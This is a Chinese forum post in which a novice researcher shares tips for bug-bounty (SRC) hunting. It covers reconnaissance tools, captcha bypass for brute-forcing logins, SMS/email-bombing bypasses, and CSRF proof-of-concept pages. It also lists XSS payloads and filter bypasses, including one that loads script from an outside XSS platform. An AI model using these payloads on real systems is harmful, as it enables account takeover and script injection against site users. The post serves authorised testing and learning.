前言
本文分享一位刚入门的安全研究员半年来挖掘SRC漏洞的实战经验。内容以文字阐述为主，旨在为同样在挖洞路上的朋友提供一些新的思路与收获。
前期信息收集
渗透测试的本质是信息收集，这句话对于没有0day的“弱鸡”选手而言尤为重要。挖掘SRC的过程，往往更像是对目标企业资产的系统性梳理。我们需要投入大量时间收集与目标公司相关的信息，包括企业的分公司、全资子公司、网站域名、手机App、微信小程序、企业专利品牌信息、企业邮箱、电话等。在众多人挖掘的热门SRC中，如果你能收集到别人未曾发现的资产，那么距离挖到漏洞就不远了。
企业相关信息收集
对于信息收集而言，企查查、天眼查等在淘宝上可以购买单日会员，通常已足够使用。个人更倾向于使用企查查，因为它支持一键导出域名，并能直接查看企业关联的子公司，操作较为便捷。
主要查询的信息:
- 子公司梳理：大型SRC目标通常拥有众多子公司。企查查可以在“所属集团”中查看集团下的子公司，并支持数据导出。
- 电话关联：查看使用相同联系电话的企业，这些通常也是子公司。
- 股权穿透：查看股份穿透图。一般而言，控股比例超过50%的子公司的漏洞，SRC平台收录的可能性较大。
- 品牌与资产：查看企业旗下的App、小程序以及品牌信息。直接在搜索引擎中搜索相关品牌，有时会有意想不到的收获（例如发现一些常规手段难以收集到的资产）。
提示：一般来说，100%全资子公司的漏洞SRC平台基本会收录，其他子公司的资产可能需要与SRC审核人员进行沟通确认。
信息整理
通过多种手段对目标企业进行信息收集后，我们通常能获得以下有用信息：
- 主公司及分公司、子公司下所有归属的网站域名信息；
- 主公司及分公司、子公司下所有的专利品牌和开发的独立系统；
- 主公司及分公司、子公司下所有的App资产和微信小程序。
接下来，我们需要对这些信息进行归纳和整理。例如，识别哪些是核心资产，哪些是边缘资产，哪些资产看起来比较冷门。对于冷门及边缘资产，可以进行重点关注和深入挖掘。
子域名收集和网站信息收集
子域名收集方面，对于个人而言，OneForAll和Xray的功能已经足够强大。针对主域名，如果想要充分收集子域名，建议使用特大号字典进行至少三层的子域名爆破。在这方面，Layer子域名挖掘机表现不错。
通过GitHub收集子域名
先分享一个思路：很多时候，GitHub上已经有热心的安全研究员分享了他们跑出的子域名列表。因此，可以先到GitHub上搜索，看看是否有现成的结果可以“白嫖”。这没有固定语法，主要靠耐心搜索。
OneForAll
项目地址：https://github.com/shmilylty/OneForAll
- 需要在配置文件中填写相关的API接口信息。
- 可以根据需求修改其他配置，例如配置一些常见端口，将其作为简单的端口扫描工具使用。
常用命令：
python oneforall.py --targets ./domain.txt run
python oneforall.py --targets ./domain.txt --brute true run
在实际操作中发现，连接外网代理与不连接代理时跑出的子域名结果有时差异较大。希望收集更全面的师傅可以两种环境各跑一遍，然后进行去重。
Xray
子域名探测功能需要高级版。可以自己编写十几行代码进行批量探测，也可以直接使用以下项目中的代码：
https://github.com/timwhitez/rad-xray
修改命令后即可用于批量探测子域名，通常每个子域名需要5到10分钟。
Goby
官网：https://gobies.org/
以前常用masscan+nmap的方式进行端口扫描，使用项目：https://github.com/hellogoldsnakeman/masnmapscan-V1.0。
前一段时间接触到Goby，感觉可视化工具用起来确实舒服。它可以快速对常见端口进行扫描，并对网站进行指纹识别，生成的报告看起来也很直观。
在实际端口扫描过程中，由于CDN或防火墙的存在，没有必要一开始就进行全端口扫描。根据一位师傅分享的经验，例如当扫描到22端口开放时，通常说明该IP没有CDN保护。对于这类IP，可以提取出来重点进行全端口扫描，有收获的可能性会更大。
BBScan
猪猪侠师傅编写的工具，扫描速度很快。主要用于简单的目录扫描，其优势在于可以探测C段下的众多资产，从而扩大攻击面。
项目地址：
报告位于report目录下。误报肯定会有，但C段下很可能存在意想不到的资产。
JS信息收集
主要是爬取网站中的敏感JS文件。从JS文件中可以收集到以下信息：
- 增加攻击面：新的URL、域名。
- 敏感信息：密码、API密钥、加密方式。
- 危险函数：代码中潜在的危險函数操作。
- 漏洞框架：使用的具有已知漏洞的框架。
常用工具：
捡中低危漏洞的一些技巧
刚开始挖掘SRC时，往往不知从何下手。首先，我们可以从各个SRC平台提交漏洞的下拉框中，查看它们收录的漏洞类型。然后有针对性地学习如何挖掘。例如，针对某SRC收取的以下漏洞类型，我们就可以定向学习相应的挖掘技巧。
框架注入
明文密码传输
表单破解漏洞
IIS短文件名泄露
老旧过期的HTTPS服务
跨目录下载漏洞
目录可浏览漏洞
LFI本地文件包含漏洞
RFI远程文件包含漏洞
HTTP拒绝服务攻击
弱口令登录
CSRF跨站点请求伪造
Flash点击劫持
SQL注入漏洞
XSS跨站脚本漏洞
文件上传漏洞
解析漏洞:IIS解析漏洞
解析漏洞:Apache解析漏洞
Cookies注入漏洞
越权访问漏洞
命令执行漏洞
Struts2远程代码执行漏洞
业务逻辑漏洞
用户隐私泄露
敏感信息泄漏(运维)
敏感信息泄漏(研发)
敏感文件泄漏(运维)(配置)
敏感文件泄漏(运维)(权限)
未验证的重定向和传递
Flash跨域访问资源
测试文件泄漏
开启危险的HTTP方法
HTTP参数污染
Unicode编码绕过
源码泄漏
后台目录泄漏
链接注入漏洞
SSRF服务器请求伪造
jsonp劫持
学习完基础的漏洞类型后，可以多看一些实战漏洞报告，例如乌云漏洞库和HackerOne上的报告。
这里列举一些我经常挖到的“垃圾洞”。生而为人，挖不到大洞，我很抱歉┭┮﹏┭┮。
登录框处常见的一些漏洞
在对目标进行前期信息收集之后，首先面对的往往是各种登录框。一般来说，大型企业为了统一安全管理，通常会使用统一的登录接口来登录旗下不同网站。但是，一些后台系统、运维系统或边缘业务可能使用了独立的注册、登录体系，这时往往就会存在安全问题。
现在还能用的接码平台：
绕过限制导致的爆破、撞库、用户遍历漏洞
这是最常见的一种漏洞，尤其在一些老旧的后台系统中，可能通过抓包就能绕过验证码。以下是一些常见的绕过姿势：
一般来说，如果只是简单的验证码绕过，通常评级为低危。因此，在能够绕过验证码的情况下，通常要尝试进行一波账号密码的爆破。
弱口令漏洞
没有验证码或者验证码可以绕过的情况
直接使用字典进行爆破。当然也有一些小技巧：
爆破的关键在于字典。常见的字典在GitHub上都能找到，但普通的弱口令现在确实不太好用了。要想提高成功率，可能需要尝试“强密码”字典。分享两篇相关文章：
有验证码且无法绕过的情况
- 直接在GitHub上搜索员工邮箱、密码。
- 从源码或JS文件中查找线索，如邮箱或加密的账号密码。
- 针对特定系统或CMS，在搜索引擎中搜索默认管理员或测试密码。
- 手动尝试常见弱口令。
注册、登录、找回密码处的短信\邮箱轰炸漏洞
这个漏洞也比较常见。一般来说，能够对特定用户进行轰炸的漏洞SRC平台会收录，而能够横向轰炸、消耗资源的漏洞则随缘收录。常见的绕过姿势：
- 加空格绕过
- 加任意字母绕过
- 前面加
86绕过
- 伪造X-Forwarded-For头绕过IP限制
逻辑缺陷导致的任意用户注册、登录、找回密码漏洞
因为这类漏洞一旦出现基本就是高危，所以在挖掘时需要格外仔细。类似思路在此不赘述，FreeBuf上有任意用户密码重置的系列文章，漏洞思路其实大同小异：
https://www.freebuf.com/author/yangyangwithgnu
常见的信息泄露漏洞
敏感信息泄露的范围很广，我认为主要分为两大类：
- 因配置错误或管理不当导致的企业内部信息泄露。
- 因逻辑缺陷导致的用户资料泄露（遍历）。
GitHub导致的信息泄露
配置错误导致的信息泄露
包含的类型很多，最重要的是拥有一份足够强大的字典和一个好用的扫描器。
在实际探测中，对于大批量域名，我更喜欢先用一份精简的小字典进行快速扫描。例如：
- 备份文件的小字典
- SpringBoot泄露的小字典
- 网站后台的小字典
比较出名的扫描器有Dirsearch、Dirmap、Dirbuster等。可视化的工具如TEST404系列、御剑扫描器使用体验也不错。
注意：信息泄露中比较常见的Swagger-ui服务泄露，直接提交可能会被忽略或评为低危。别忘了进一步测试泄露的接口功能，看看是否能发现更严重的问题。
越权导致的信息泄露
很多时候越权漏洞就是更改一个参数的问题。更多的时候需要细心测试每一个业务功能，注意观察和测试“操作参数”和“对象参数”。操作参数一般对应增删改查等敏感操作，对象参数一般是用户或物品ID等。
推荐几个Burp插件：
插件的作用主要是帮助我们快速定位敏感参数，实际测试时还是需要我们仔细分析每个数据包的应用程序逻辑。
常见的一些越权情况：
- 基于用户ID的越权
- 基于功能对象ID的越权
- 基于上传对象ID的越权
- 基于未授权访问的越权
- 基于功能地址的越权
- 基于接口身份的越权
其他的OWASP Top 10漏洞
CSRF漏洞
在挖掘CSRF漏洞时，最重要的是说明其危害，这部分比较容易产生争议。一般来说，涉及用户资料、财产、权限的CSRF漏洞大概率会被收录，但评级通常最高到中危。捡一捡这类“垃圾洞”还是可以的。
常见的漏洞点
- 修改个人资料、邮箱、密码、头像
- 发表文章
- 添加、删除评论
- 添加、修改、删除收货地址
- 添加管理员
(1) GET型
GET类型的CSRF利用非常简单，只需要一个HTTP请求，通常会这样利用：
<img src=http://www.xxxxx.com/csrf?xx=11 />
(2) POST型
POST请求中没有token参数，且请求也未验证Referer信息。这是存在CSRF情况最多的一种。检测方法也很简单：网页操作某功能时抓包，如果发现没有token等参数，就将Referer信息设置为空再次发包。如果请求成功，则说明存在CSRF漏洞。
POC (可以用Burp自己生成)：
<html>
<body>
<form name="px" method="post" action="http://www.xxxxx.com/add">
<input type="text" name="user_id" value="1111">
</form>
<script>document.px.submit();</script>
</body>
</html>
POST请求数据为JSON，当服务器没有严格校验Content-Type类型时，POC为：
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.xxxx.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
(3) Flash型
Flash CSRF通常是由于crossdomain.xml文件配置不当造成的，利用方法是使用SWF文件发起跨站请求伪造。
利用条件：
- 目标站点下必须存在
crossdomain.xml文件。
crossdomain.xml中的配置允许其他域进行跨域请求。（例如配置了<allow-access-from domain="*" />）
Bypass小技巧
- 删除CSRF Token
- 置空CSRF Token
- 修改请求方法，如POST变GET
- 使用与Token相同长度的任意字符串替换Token，例如尝试更改一个字符观察结果
- 使用固定Token
- 将Token字段改成
token[]=
任意文件上传漏洞
这个洞遇到的也比较多，一般来说是后端没有严格限制上传文件的类型，但上传的脚本文件可能无法解析，因此无法直接GetShell。（很多SRC对于上传到CDN云服务器的任意文件上传漏洞是忽略的）。
- 上传含有XSS代码的HTML文件，造成存储型XSS（如果上传到了CDN服务器，大概率被忽略）。
- 上传恶意文件进行钓鱼。
- 尝试在上传的文件名前加
../进行目录穿越。
- 可以结合其他漏洞（如CORS漏洞）扩大危害。
文件上传常见的绕过姿势大家应该都比较熟悉了。在实际测试中发现，在申请企业/个人认证的上传文件处，常常存在这个问题。
XSS漏洞
老熟人了，这里不多赘述。分享一个我学习XSS时参考的文章：
https://wizardforcel.gitbooks.io/xss-naxienian/content/index.html
Broken5师傅整理的XSS Payload：
<script>alert(1)</script>
<script src=https://xsspt.com/VBAhTu></script>
<a href=javascript:alert(1)>xss</a>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<img src=https://www.baidu.com/img/bd_logo1.png onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<M onmouseover=alert(1)>M
<iframe src=javascript:alert(1)></iframe>
<iframe onload=alert(1)>
<input type="submit" onfocus=alert(1)>
<input type="submit" onclick=alert(1)>
<form><input type="submit" formaction=javascript:alert(1)>
Bypass姿势
<!-- 空格被过滤 -->
<img/src="1"/onerror=alert(1)>
<!-- 双写绕过 -->
<iimgmg src=1 oonerrornerror=aimglert(1)>
<!-- 大小写绕过 -->
<iMg src=1 oNerRor=alert(1)>
<!-- 利用eval() -->
<img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">
<img src=1 onerror=eval(atob('YWxlcnQoMSk='))>
<!-- 利用location -->
<img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'>
<img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31%29'>
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<!-- 括号被过滤 -->
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
<!-- onerror=被过滤 -->
<img src=1 onerror =alert(1)>
<img src=1 onerror
=alert(1)>
<!-- 属性被转换为大写 -->
<IMG SRC=1 ONERROR=ALERT(1)>
<!-- 编码后被检测 -->
<img src=1 onerror=alert(1)>
威胁情报的提交
这块我也没有太多经验，给大家分享两篇文章吧。信息收集到相关情报后还是可以尝试提交的。
对于挖掘高危、严重级别漏洞的一些思考
因为一直以来挖到高危、严重漏洞的数量寥寥无几，基本上就是在捡一些中低危漏洞。这段时间也看了很多优秀的漏洞报告，想聊一聊我的思考。
-
自动化信息收集的能力
这里说的信息收集，更多是指如何利用已有工具进行快速、自动化的收集与整理。既要做到速度快，又要做到全面、不遗漏信息。很多时候，这个过程本身就是在发现漏洞。这些工作应该在前期的信息收集阶段就系统性地完成。因此，如何实现快速、全面的自动化信息收集，是需要我们不断思考和实践的。
-
打漏洞组合拳的能力
SRC对于漏洞的评级主要依据其可能造成的危害。所以，当挖到一些低危漏洞时，可以先不急着提交，寻找一下是否有其他可以利用的点，组合起来形成更大的危害。
-
绕WAF的能力
这个能力我比较欠缺。挖洞过程中基本遇到WAF就绕道了，尤其是一些大厂的WAF。绕过其他WAF主要是参考和学习其他师傅的思路。
-
细心、耐心和一些运气
心细挖天下，再加上一些运气，或许高危、严重漏洞就到手了。
总结
挖掘SRC需要保持一个好的心态。国内的SRC生态并非完美，它更多地是提供了一个相对安全的测试保障。因此，更需要我们抱着学习的心态去挖掘，将学到的知识灵活运用，去发现新的问题。不要总想着“今晚一定要挖到多少漏洞，拿到多少奖金”，否则可能会被“忽略三连”打击到心态崩溃。
希望这些经验能对大家有所帮助。如果你想与更多安全爱好者交流，欢迎访问云栈社区，那里有关于安全/渗透/逆向等技术的深入讨论与资源共享。
发表于 7 天前
|
查看: 16|
回复: 0
